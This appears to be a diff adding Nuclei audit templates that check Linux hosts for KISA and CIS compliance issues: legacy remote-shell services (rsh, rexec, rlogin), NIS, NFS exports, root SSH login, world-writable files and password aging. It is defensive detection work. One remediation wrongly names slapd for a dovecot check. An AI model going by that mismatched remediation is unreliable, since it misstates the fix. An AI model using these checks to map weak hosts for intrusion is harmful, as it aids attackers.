if [ -f "/etc/xinetd.d/discard" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/discard"; then
|
||||
echo "[VULNERABLE] discard service is enabled in /etc/xinetd.d/discard"
|
||||
else
|
||||
echo "[SAFE] discard service is disabled or not present"
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if [ -f "/etc/xinetd.d/daytime" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/daytime"; then
|
||||
echo "[VULNERABLE] daytime service is enabled in /etc/xinetd.d/daytime"
|
||||
else
|
||||
echo "[SAFE] daytime service is disabled or not present"
|
||||
fi
|
||||
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if [ -f "/etc/xinetd.d/chargen" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/chargen"; then
|
||||
echo "[VULNERABLE] chargen service is enabled in /etc/xinetd.d/chargen"
|
||||
else
|
||||
echo "[SAFE] chargen service is disabled or not present"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: echo
|
||||
part: code_1_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: daytime
|
||||
part: code_2_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: chargen
|
||||
part: code_3_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
|
||||
- type: word
|
||||
name: discard
|
||||
part: code_4_response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a0047304502202cf91c265090819bbe6e79552565776586d650aba479c020577e231fe19482af022100d2ed2e30103881d316dbe4f9d4b517a6e63b4c44a950ce6c5f1468f23914491d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: linux-nis-service
|
||||
|
||||
info:
|
||||
name: NIS Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Evaluated the status of NIS service daemons on the system. Active NIS services could have permitted unauthorized users to escalate privileges or access sensitive account information, posing a significant security risk.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if command -v systemctl >/dev/null 2>&1; then
|
||||
if systemctl is-active --quiet ypserv ypbind; then
|
||||
echo "[VULNERABLE] NIS service is running"
|
||||
systemctl status ypserv ypbind
|
||||
else
|
||||
echo "[SAFE] NIS service is not running"
|
||||
fi
|
||||
else
|
||||
running=$(ps -ef | egrep "ypserv|ypbind" | grep -v grep)
|
||||
if [ -n "$running" ]; then
|
||||
echo "[VULNERABLE] NIS service is running"
|
||||
echo "$running"
|
||||
else
|
||||
echo "[SAFE] NIS service is not running"
|
||||
fi
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a00473045022100b5b0f42b84f5cd2ca06b1a201d906667dc91a01dfd53273bdc01b3a65cc4595d0220603376d78e13e2573dd6af85849d0e5c9d897410e6be681645167165bc5d2a62:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: linux-nisplus-service
|
||||
|
||||
info:
|
||||
name: NIS+ Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Evaluated the status of NIS+ service daemons on the system.Active NIS+ services could have permitted unauthorized users to escalate privileges or access sensitive account information, representing a significant security risk.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if command -v systemctl >/dev/null 2>&1; then
|
||||
if systemctl is-active --quiet rpc.yppasswdd rpc.yppupdated ypxfrd; then
|
||||
echo "[VULNERABLE] NIS+ service is running"
|
||||
systemctl status rpc.yppasswdd rpc.yppupdated ypxfrd
|
||||
else
|
||||
echo "[SAFE] NIS+ service is not running"
|
||||
fi
|
||||
else
|
||||
running=$(ps -ef | egrep "rpc.yppasswdd|rpc.yppupdated|ypxfrd" | grep -v grep)
|
||||
if [ -n "$running" ]; then
|
||||
echo "[VULNERABLE] NIS+ service is running"
|
||||
echo "$running"
|
||||
else
|
||||
echo "[SAFE] NIS+ service is not running"
|
||||
fi
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4b0a00483046022100ec34476a472e1a3b3be1d9a49138bc89f071403a821f0a1faef12d98134ca6fa022100ca746f642a4eb1564535e3ceafdde417713b4d795f53ecd7c874cae12a7587f8:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,31 @@
|
||||
id: linux-rexec-service
|
||||
|
||||
info:
|
||||
name: rexec Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Assessed the operational status of the rexec service on the system.Running rexec could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rexec 2>/dev/null; then
|
||||
echo "[VULNERABLE] rexec service is enabled"
|
||||
else
|
||||
echo "[SAFE] rexec service is disabled"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 490a00463044022003bbbed1e0bd7a6f80f662b6ecc935324f16f9097cf8c7fddaebca4e567fc26f02204a000af2bb0c14fb63940f14fd5e04647a2e49f2d56fecb1555ec9573f42c439:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,60 @@
|
||||
id: linux-rhosts-hostsequiv-misconfig
|
||||
|
||||
info:
|
||||
name: Rhosts and Hosts.equiv Misconfiguration Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Assessed the presence and configuration of .rhosts and /etc/hosts.equiv files. Files with unsafe '+' entries, incorrect permissions, or improper ownership could have permitted unauthorized remote command execution via rlogin or rsh.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
- https://linux.die.net/man/5/hosts.equiv
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
check_hosts_equiv() {
|
||||
if [ -f /etc/hosts.equiv ]; then
|
||||
echo "[FOUND] /etc/hosts.equiv exists"
|
||||
ls -l /etc/hosts.equiv
|
||||
if grep -q '^\+' /etc/hosts.equiv; then
|
||||
echo "[WARN] Unsafe '+' entry found in /etc/hosts.equiv"
|
||||
fi
|
||||
perms=$(stat -c "%a" /etc/hosts.equiv)
|
||||
owner=$(stat -c "%U" /etc/hosts.equiv)
|
||||
if [ "$perms" -gt 644 ] || [ "$owner" != "root" ]; then
|
||||
echo "[WARN] /etc/hosts.equiv has improper permissions or ownership"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
check_rhosts() {
|
||||
find /home /root -maxdepth 2 -name ".rhosts" 2>/dev/null | while read rhost; do
|
||||
echo "[FOUND] $rhost"
|
||||
ls -l "$rhost"
|
||||
if grep -q '^\+' "$rhost"; then
|
||||
echo "[WARN] Unsafe '+' entry found in $rhost"
|
||||
fi
|
||||
perms=$(stat -c "%a" "$rhost")
|
||||
owner=$(stat -c "%U" "$rhost")
|
||||
if [ "$perms" -gt 600 ] || [ "$owner" != "root" ]; then
|
||||
echo "[WARN] $rhost has improper permissions or ownership"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
check_hosts_equiv
|
||||
check_rhosts
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "/etc/hosts.equiv"
|
||||
- ".rhosts"
|
||||
- "[WARN]"
|
||||
# digest: 490a00463044022055990939cd2ff6e0a667754a6946d386089f4113dec88883b5db24420baf3ebc022058e5e428009c5edab46a409bddb9a4ea3104561a85f3683e1c5ee940a6315038:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,31 @@
|
||||
id: linux-rlogin-service
|
||||
|
||||
info:
|
||||
name: rlogin Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Assessed the operational status of the rlogin service on the system.Running rlogin could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rlogin 2>/dev/null; then
|
||||
echo "[VULNERABLE] rlogin service is enabled"
|
||||
else
|
||||
echo "[SAFE] rlogin service is disabled"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4b0a00483046022100c6f1c8b6c83616490a00bc065ea6a8c8894a3a5c6163a952ac9f582026bfc9a5022100a9495cbde17bb7a534ecad34c9b2dc13f2adac753067701c127423b9a5c55451:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,42 @@
|
||||
id: linux-root-remote-login
|
||||
|
||||
info:
|
||||
name: Linux Root Remote Login Enabled - Misconfig
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Root remote login was enabled either through /etc/securetty or via SSH configuration.This misconfiguration increased the risk of unauthorized system access.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: local,linux,ssh,root,misconfig,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
cat /etc/securetty 2>/dev/null | grep -E 'pts/[0-9]+' || echo "no-securetty"
|
||||
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
cat /etc/ssh/sshd_config 2>/dev/null | grep -E '^PermitRootLogin\s+yes' || echo "no-root-ssh"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: tty
|
||||
part: code_1_response
|
||||
words:
|
||||
- "pts/"
|
||||
|
||||
- type: word
|
||||
name: ssh
|
||||
part: code_2_response
|
||||
words:
|
||||
- "PermitRootLogin yes"
|
||||
# digest: 4a0a00473045022100d3f9e9bf332239dff21fed19b2f4e154516bd0150c3e2664a3bc8d47bdc936eb022048de72c0c6425034051202b5d63abff5701dbe0b2b6e84870cfe4760a05a4e1a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,31 @@
|
||||
id: linux-rsh-service
|
||||
|
||||
info:
|
||||
name: rsh Service Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Assessed the operational status of the rsh service on the system.Running rsh could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rsh 2>/dev/null; then
|
||||
echo "[VULNERABLE] rsh service is enabled"
|
||||
else
|
||||
echo "[SAFE] rsh service is disabled"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 490a00463044022033b38de938931e97c6dae4db07a43ccf5b914fdc77d09467f50ed7f9fe8e027e0220453f6d5a24c1e28bfaab7ac33a33aa2ab1de8c671b76ac3a76df3d8efe0e7ab7:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,28 @@
|
||||
id: linux-world-writable-file
|
||||
|
||||
info:
|
||||
name: Linux World-Writable File Permission
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
System files were configured with world-writable (chmod o+w) permissions.Malicious users could modify them, leading to privilege escalation, backdoors, or service disruption.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,compliance,kisa
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find / -type f -perm -0002 ! -path "/tmp/*" -exec ls -l {} \; 2>/dev/null
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
name: world-writable-files
|
||||
part: response
|
||||
regex:
|
||||
- "^-........w.*"
|
||||
# digest: 4b0a00483046022100cb4eeed99539ca94bafeaaa60912f67fcac73a5d2c5a4f77d1f5085271959995022100e8df18d9e16d1dd7a187b6bde457f4706e1863500ba810dae15f383f8942bace:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,43 @@
|
||||
id: message-access-server
|
||||
|
||||
info:
|
||||
name: Ensure Message Access Server Service is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
|
||||
remediation: |
|
||||
- Ensure the `slapd` package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove slapd -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
if dpkg-query -s dovecot-imapd &>/dev/null; then
|
||||
echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022100872017f5f8005a6556592b1ae6736a0bfca00d3a127dfdf01e9f2e5a955638d502204fc22979eee455173e7bb24f6cdcee46165063e16f761d501f0f9f5e0cde79cd:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,39 @@
|
||||
id: nfs-daemon-service
|
||||
|
||||
info:
|
||||
name: NFS Service Daemon Should Be Disabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Assessed the status of the NFS service daemon. A running NFS service may expose the system to unauthorized access, modification, or deletion of files; it is recommended to disable the daemon when not explicitly required.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if command -v systemctl >/dev/null 2>&1; then
|
||||
if systemctl is-active --quiet nfs-server; then
|
||||
echo "[VULNERABLE] NFS service is active (systemd nfs-server is running)"
|
||||
else
|
||||
echo "[SAFE] NFS service is not running"
|
||||
fi
|
||||
else
|
||||
if ps -ef | grep -v grep | grep -q nfsd; then
|
||||
echo "[VULNERABLE] NFS service is active (nfsd is running)"
|
||||
else
|
||||
echo "[SAFE] NFS service is not running"
|
||||
fi
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 490a0046304402202e365f52032e4d73bd77139c21b39a53cde40c7ccfcadc601d7838be496b568702205752a5bedecd1cdfe538de1f56707780e86398de4153e89ba87a4a2d5ca82f11:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,35 @@
|
||||
id: nfs-insecure-exports
|
||||
|
||||
info:
|
||||
name: NFS Insecure Exports Check
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Verified whether access control was properly configured on NFS.Highlighted possibilities such as allowing all hosts, no_root_squash, or unrestricted all_squash that could let unauthorized users access shared directories.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,kisa,compliance
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
if grep -Eq '^[^#].*\(.*no_root_squash.*\)' /etc/exports; then
|
||||
echo "[VULNERABLE] NFS allows root access with no_root_squash"
|
||||
elif grep -Eq '^[^#].*\*' /etc/exports; then
|
||||
echo "[VULNERABLE] NFS allows access to all (*) hosts"
|
||||
elif grep -Eq '^[^#].*\(.*all_squash.*\)' /etc/exports; then
|
||||
echo "[WARN] NFS uses all_squash (verify if access is restricted)"
|
||||
else
|
||||
echo "[SAFE] NFS access appears restricted"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4a0a00473045022044c9658bfe1ee89876d142333d465adc26d4ec93e6b1bc4f0cacfcac454672de02210093fab4dd0015863b7414c0f9b963424ee7063c05badd0b041209eb45ac875cbd:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,44 @@
|
||||
id: nis-client
|
||||
|
||||
info:
|
||||
name: Ensure NIS Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
|
||||
remediation: |
|
||||
- Ensure the nis package is not installed unless explicitly required.
|
||||
- To remove the package, run: sudo apt-get remove nis -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,nis
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if the nis package is installed
|
||||
if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
|
||||
echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
|
||||
else
|
||||
echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022100cfc6bf15d445dff51f2fba3848fa1387d14074791850f1f0c91293107f5149be022068f71166dae4ec578d4ca2b043f92349a31fc68dc0e945644c2831490c3665e2:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,48 @@
|
||||
id: password-expiration
|
||||
|
||||
info:
|
||||
name: Ensure Password Expiration is Configured
|
||||
author: Th3l0newolf
|
||||
severity: medium
|
||||
description: |
|
||||
The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
|
||||
remediation: |
|
||||
Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,password
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
|
||||
if [ -n "$MAX_DAYS_LINE" ]; then
|
||||
VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
|
||||
if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
|
||||
echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
|
||||
else
|
||||
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
|
||||
fi
|
||||
else
|
||||
echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a004730450221009cbba7657038b7d04af3978e24d438753c705b2be8c9303bb01944ae5b4e600602201d065b7a3fb76908156e03c53a22c3af9b2eaed544712284fa33520f6796396f:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,48 @@
|
||||
id: password-min-days
|
||||
|
||||
info:
|
||||
name: Ensure Minimum Password Days is Configured
|
||||
author: Th3l0newolf
|
||||
severity: medium
|
||||
description: |
|
||||
The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
|
||||
remediation: |
|
||||
Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,password
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
|
||||
if [ -n "$MIN_DAYS_LINE" ]; then
|
||||
VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
|
||||
if [ "$VALUE" -gt 0 ]; then
|
||||
echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
|
||||
else
|
||||
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
|
||||
fi
|
||||
else
|
||||
echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a004730450220330c91b891028088a62cf87539435efb09e867da81d82656fe153f2032b450c8022100f5c059a68d37d56fbb607417af39f2cdad76a318f41d466fb1d89e57edf1d05c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,48 @@
|
||||
id: password-warn-age
|
||||
|
||||
info:
|
||||
name: Ensure Password Expiration Warning Days is Configured
|
||||
author: Th3l0newolf
|
||||
severity: medium
|
||||
description: |
|
||||
The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
|
||||
remediation: |
|
||||
Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,password
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
|
||||
if [ -n "$WARN_AGE_LINE" ]; then
|
||||
VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
|
||||
if [ "$VALUE" -eq 7 ]; then
|
||||
echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
|
||||
else
|
||||
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
|
||||
fi
|
||||
else
|
||||
echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
name: policy-pass
|
||||
words:
|
||||
- "Policy-Pass"
|
||||
|
||||
- type: word
|
||||
name: policy-fail
|
||||
words:
|
||||
- "Policy-Fail"
|
||||
# digest: 4a0a00473045022015f03c2bbecc12ef5fd92faa8928633477ade84d8fcd8980daad1984cba9ce56022100bc5d09e37c69098da51ad12d5fe668c86785f76d2b1e1b19515f3018a73f9e8a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,29 @@
|
||||
id: root-path-dot
|
||||
|
||||
info:
|
||||
name: Root PATH Contains Current Directory
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
root user’s PATH environment variable included the current directory (“.”).This allowed scripts or binaries in the working directory to be executed with root privileges. The misconfiguration resulted in potential privilege escalation and unsafe behavior.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr/main/csap/notice/
|
||||
- https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
|
||||
metadata:
|
||||
verified: true
|
||||
tags: local,linux,audit,privesc,kisa
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
source: |
|
||||
echo $PATH | grep -Eq '(^\.?:|:.:|:\.$|^\.$)' && echo "dot-in-path" || echo "safe-path"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "dot-in-path"
|
||||
# digest: 4b0a004830460221009bc443da27ba4a09097561e6237be8676c76bea133bb051901740f075e5ffe6d022100b56139ecfd6da3702a70cee28aba51fbdc9dde4be9ae7742a31c020ee5bccebb:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,36 @@
|
||||
id: rpc-enabled
|
||||
|
||||
info:
|
||||
name: Unnecessary RPC Service (rstatd) Enabled
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Unnecessary RPC services like rstatd were enabled, allowing attackers to exploit buffer overflow, DoS, or remote execution vulnerabilities to gain root privileges and compromise the system.These services were expected to be disabled unless explicitly required.
|
||||
reference:
|
||||
- https://isms.kisa.or.kr
|
||||
tags: linux,local,audit,compliance,kisas
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
source: |
|
||||
if [ -f /etc/xinetd.d/rstatd ]; then
|
||||
if grep -qE 'disable\s*=\s*no' /etc/xinetd.d/rstatd; then
|
||||
echo "[VULNERABLE] rstatd RPC service is enabled in xinetd"
|
||||
else
|
||||
echo "[SAFE] rstatd RPC service is disabled in xinetd"
|
||||
fi
|
||||
elif systemctl is-active --quiet rstatd 2>/dev/null; then
|
||||
echo "[VULNERABLE] rstatd service is active under systemd"
|
||||
else
|
||||
echo "[SAFE] rstatd service not found"
|
||||
fi
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: response
|
||||
words:
|
||||
- "[VULNERABLE]"
|
||||
# digest: 4b0a00483046022100f6750e913cde576eb96f1c12fb0f90474840d40783c1e161429833ad56d220b4022100930976aea7d528355a4292f446f0d04e47a668ee56c75baaadea94fb96d2441d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -0,0 +1,43 @@
|
||||
id: rsh-client
|
||||
|
||||
info:
|
||||
name: Ensure rsh Client is Not Installed
|
||||
author: Th3l0newolf
|
||||
severity: info
|
||||
description: |
|
||||
The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
|
||||
remediation: |
|
||||
Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
|
||||
reference:
|
||||
- https://www.cisecurity.org/benchmark/ubuntu_linux
|
||||
metadata:
|
||||
verified: true
|
||||
tags: cis,local,cisecurity,audit,linux,ubuntu,rsh
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- bash
|
||||
|
||||
args:
|
||||
- "-c"
|
||||
- |
|
||||
# Check if the rsh-client package is installed
|
||||
